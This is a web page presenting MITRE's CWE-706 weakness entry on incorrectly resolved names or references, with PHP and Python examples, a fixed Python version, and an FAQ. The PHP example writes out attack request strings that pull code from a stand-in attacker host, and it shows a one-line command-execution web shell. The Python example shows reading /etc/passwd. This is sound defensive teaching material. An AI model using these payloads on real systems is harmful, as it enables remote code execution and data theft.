Class · High

CWE-706: Use of Incorrectly-Resolved Name or Reference

The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

CWE-706 · Class Level

Description

The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Potential Impact

Confidentiality, Integrity

Read Application Data, Modify Application Data

Demonstrative Examples

The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
Bad
$dir = $_GET['module_name'];include($dir . "/function.php");
The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:
Attack
victim.php?module_name=http://malicious.example.com
Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.
For the sake of this example, assume that the malicious version of function.php looks like the following:
Bad
system($_GET['cmd']);
An attacker could now go a step further in our example and provide a request string as follows:
Attack
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:
Attack
/bin/ls -l
Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.
This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.
Bad
import os
                  import sys
                  def main():
                     
                     filename = sys.argv[1]
                     path = os.path.join(os.getcwd(), filename)
                     try:
                        
                        with open(path, 'r') as f:
                           
                           file_data = f.read()
                           
                        
                     except FileNotFoundError as e:
                        
                        print("Error - file not found")
                        
                     
                  main()
However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.
Good
import os
                     import sys
                     def main():
                     
                       filename = sys.argv[1]
                       path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
		       if path.startswith("/home/cwe/documents/"):
		       
			 try:
			 
                           with open(path, 'r') as f:
                           
                             file_data = f.read()
                           
			 
			 except FileNotFoundError as e:
			 
                           print("Error - file not found")
			 
                       
		     
                     main()
The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended.

Detection Methods

  • Automated Static Analysis — Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then sea

Frequently Asked Questions

What is CWE-706?

CWE-706 (Use of Incorrectly-Resolved Name or Reference) is a software weakness identified by MITRE's Common Weakness Enumeration. It is classified as a Class-level weakness. The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

How can CWE-706 be exploited?

Attackers can exploit CWE-706 (Use of Incorrectly-Resolved Name or Reference) to read application data, modify application data. This weakness is typically introduced during the Architecture and Design, Implementation phase of software development.

How do I prevent CWE-706?

Follow secure coding practices, conduct code reviews, and use automated security testing tools (SAST/DAST) to detect this weakness early in the development lifecycle.

What is the severity of CWE-706?

CWE-706 is classified as a Class-level weakness (High abstraction). Its actual severity depends on the specific context and how the weakness manifests in your application.